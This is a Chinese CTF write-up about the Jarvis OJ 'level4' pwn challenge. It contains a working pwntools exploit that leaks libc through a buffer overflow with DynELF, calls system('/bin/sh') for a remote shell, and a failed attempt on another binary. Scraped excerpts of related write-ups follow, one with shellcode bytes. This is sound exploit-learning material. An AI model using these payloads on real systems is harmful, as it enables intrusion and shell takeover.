jarvis OJ部分writeup

level 0

level 1 —— 简单shellcode利用

level 2

level 3 —— ret2libc尝试

level2&level3 x64

level 4 —— DynELF

level 5

level 6

level4 ——DynELF

DynELF是在没有libc文件情况下,通过对任意地址的读,获得函数地址的工具

通常情况下,可以通过leak两个函数got中所存的地址,从而确定libc版本,获得所需函数地址

libc版本查询

但在查库无法确定版本的情况下,可以使用DynELF在内存中搜索。但DynELF容易超时,慎用

以level4为例,简单记录DynELF的用法     获取文件

程序保护和程序漏洞都没有设置障碍,可以直接通过一次read实现溢出

经过尝试,无法通过write.got和read.got中的地址找到libc版本,也不方便实现system_call

所以可以先用DynELF获得system函数的地址,再向bss段中写入“/bin/sh”,获取shell

#!/usr/bin/env python
# coding=utf-8
from pwn import *
# context.log_level = "debug"
io = remote("pwn2.jarvisoj.com", 9880)
elf = ELF("./level4")

# plt.got
read_plt = elf.plt["read"]
write_plt = elf.plt["write"]

vuln_addr = 0x804844b
main_addr = 0x8048470
bss_addr = 0x804a024

def leak(address):
    payload = ‘a‘ * (0x88+0x4)
    payload += p32(write_plt) + p32(vuln_addr)    # 能够循环利用漏洞
    payload += p32(1) + p32(address) + p32(4)    # data只要4个字节长度
    io.send(payload)
    data = io.recv(4)
    print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘))
    return data

dyn = DynELF(leak,elf = ELF("./level4"))
sys_addr = dyn.lookup("__libc_system","libc")
# print hex(sys_addr)

payload = ‘a‘ * (0x88 + 0x4)
payload += p32(read_plt) + p32(sys_addr)
payload += p32(1) + p32(bss_addr) + p32(10)
io.send(payload)
io.sendline("/bin/sh")
io.interactive()

关于DynELF较为详细的介绍:https://www.anquanke.com/post/id/85129  更加神学的说明

另有一道very_overflow也想用这种方法尝试一下,是利用puts构造leak函数

我觉得理论上和level4是同理可行的,但是没能成功得到system地址

脚本和错误如下,望路过的各路大神帮忙指点一二

#!/usr/bin/env python
# -*-coding=utf-8-*-
from pwn import *

context.log_level = "debug"
# io = remote("hackme.inndy.tw",7705)
io = process("./very_overflow")
elf = ELF("./very_overflow")

puts_addr = elf.plt["puts"]
puts_got = elf.got["puts"]
vuln_addr = 0x8048853

def debug():
    raw_input("Enter>>")
    # gdb.stop()
    gdb.attach(io)

def fill():
    sss = ‘a‘ * 128
    for i in range(128):
        io.recvuntil("action: ")
        io.sendline("1")
        io.recvuntil("note: ")
        io.sendline(sss)

def leak(address):
    count = 0
    data = ‘‘
    fill()
    io.recvuntil("action: ")
    #
    io.sendline("3")
    io.recvuntil("show: ")
    io.sendline("127")
    io.recvuntil("action: ")
    io.sendline("1")
    # mZ
    io.recvuntil("note: ")
    debug()
    payload = p32(0) + ‘a‘ * 12
    payload += p32(puts_addr) + p32(vuln_addr) + p32(address)

    # debug()
    io.sendline(payload)
    # note id
    io.recvline()
    # puts
    up = ‘‘

    while 1 :
        c = io.recv(1)
        count += 1
        if up == ‘\n‘ and c == ‘1‘:
            data[-1] = ‘\x00‘
            break
        else:
            data += c
        up = c
        print data
    data = data[:4]
    ‘‘‘
    for i in range(4) :
        data += io.recv(numb = 1,timeout = 1)
    ‘‘‘
    print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘))
    return data
Dyn = DynELF(leak,elf = ELF("./very_overflow"))
sys_addr = Dyn.lookup("__libc_system","libc")
print hex(sys_addr)

‘‘‘
io.recvuntil("action: ")
io.sendline("3")
io.recvuntil("show: ")
io.sendline("127")
io.recvline()
switch_addr = io.recvline()[10:-1]
print switch_addr
‘‘‘

感谢大佬们指教!

作者:辣鸡小谱尼

出处:http://www.cnblogs.com/ZHijack/

如有转载,荣幸之至!请随手标明出处;

原文地址:https://www.cnblogs.com/ZHijack/p/8460551.html

时间: 2024-11-03 12:29:43

jarvis OJ部分writeup的相关文章

Jarvis OJ - class10 -Writeup

Jarvis OJ - class10 -Writeup 转载请注明出处:http://www.cnblogs.com/WangAoBo/p/7552266.html 题目: Jarivs OJ的一道misc,记录这道题的Writeup主要是想记录解题的脚本 分析: 文件下载后是纯数据,binwalk发现为两段zlib压缩后的数据,其中第2段为default compression,这是信息1:strings查看字符串,发现IHDR, RGB, IDAT等和图像相关的字符,这是信息2: 步骤:

Jarvis OJ Pwn writeup

Jarvis OJ Pwn writeup1.[XMAN]level02.[XMAN]level13.[XMAN]level2(简单64位栈溢出)4.[XMAN]level2(x64)5.[XMAN]level3(32位下两次溢出拿shell)6.[XMAN]level3_x64(基本64位栈溢出,简单ROP)7.[XMAN]level4(DynELF泄露system地址)8.[XMAN]level5(mprotect函数)9.Test Your Memory(简单栈溢出,覆盖返回地址)10.S

Jarvis OJ - DD-Hello -Writeup

Jarvis OJ - DD-Hello -Writeup 转载请注明出处http://www.cnblogs.com/WangAoBo/p/7239216.html 题目: 分析: 第一次做这道题时,file查看发现是OS X和IOS的可执行文件,就果断放弃了 后来又一想,OS X是基于FreeBSD的,那Mach-O文件和elf应该也有相通之处,于是就尝试用IDA打开文件,居然真的打开了 函数较少,并且都可F5出伪代码,逐个分析,整理如下: 关键代码: if ( !(result & 1)

Jarvis OJ - 爬楼梯 -Writeup

Jarvis OJ - 爬楼梯 -Writeup 本来是想逆一下算法的,后来在学长的指导下发现可以直接修改关键函数,这个题做完有种四两拨千斤的感觉,记录在这里 转载请标明出处:http://www.cnblogs.com/WangAoBo/p/7222012.html 题目: 分析: 先看apk的外部特征,在模拟器中安装apk,如下: 每次点击爬一层楼按钮以爬的楼层会加1,爬到了,看FLAG按钮点击无效,于是猜测需要爬到指定的楼层才可以看到flag. 首先大致浏览apk的java代码(这里使用的

Jarvis OJ - [XMAN]level1 - Writeup

Jarvis OJ - [XMAN]level1 - Writeup M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html 题目: 分析 checksec检查保护机制如下,NX没开,可以通过执行shellcode来get shell 拖到IDA中,查看函数的流程,vulnerable_function函数打印了缓冲区的起始地址,read可以读取0x100个字符,而buf到ret的偏移为0x88 + 0x4 < 0x100,而该el

Jarvis OJ - [XMAN]level1 - Writeup——简单shellcode利用

100分的pwn 简单查看一下,果然还是比较简单的 放到ida中查看一下,有明显的溢出函数,并且在函数中打印出了字符串的地址,并且字符串比较长,没有NX保护 所以我们很容易想到构造shellcode,在栈中执行shellcode拿shell权限 shellcode是一段恶意代码,在没有NX保护程序中,可能作为输入而写进栈,之后运行到此处时可以执行shellcode指令从而达到目的 所以我们先截取buf的地址,在buf中写入夺shell的shellcode,之后再用buf的地址覆盖函数返回地址 从

Jarvis OJ - [XMAN]level2 - Writeup

简单利用"/bin/sh"夺权 简单看一下 放到ida中发现了"/bin/sh"串,和system函数,可以利用== 所以只要在vuln函数返回时跳转到system函数,同时添加参数"/bin/sh"就可以实现啦 #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * io = remote("pwn2.jarvisoj.com",9878) elf =

Jarvis OJ - [XMAN]level3 - Writeup——rop2libc尝试

这次除了elf程序还附带一个动态链接库 先看一下,很一般的保护 思路分析 在ida中查看,可以确定通过read函数输入buf进行溢出,但是并没有看到合适的目标函数 但是用ida打开附带的链接库,可以看到system函数和"/bin/sh"字符串都存在 于是思路就确定为read函数溢出->system函数,同时加入参数"/bin/sh" 通过libc.so文件可以得到write.system和/bin/sh的偏移,但system和/bin/sh在内存的地址是未知

Sniper OJ部分writeup

0x00 shellcode pwn 因为题目直接有源码,我就不拖进IDA了,直接看代码 这是一个典型的栈溢出,我们只需要构造shellcode获得/bin/sh权限就可以得到flag.下面是所用脚本. from pwn import * from sys import * reload(sys) sys.setdefaultencoding('gb18030') shell_code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48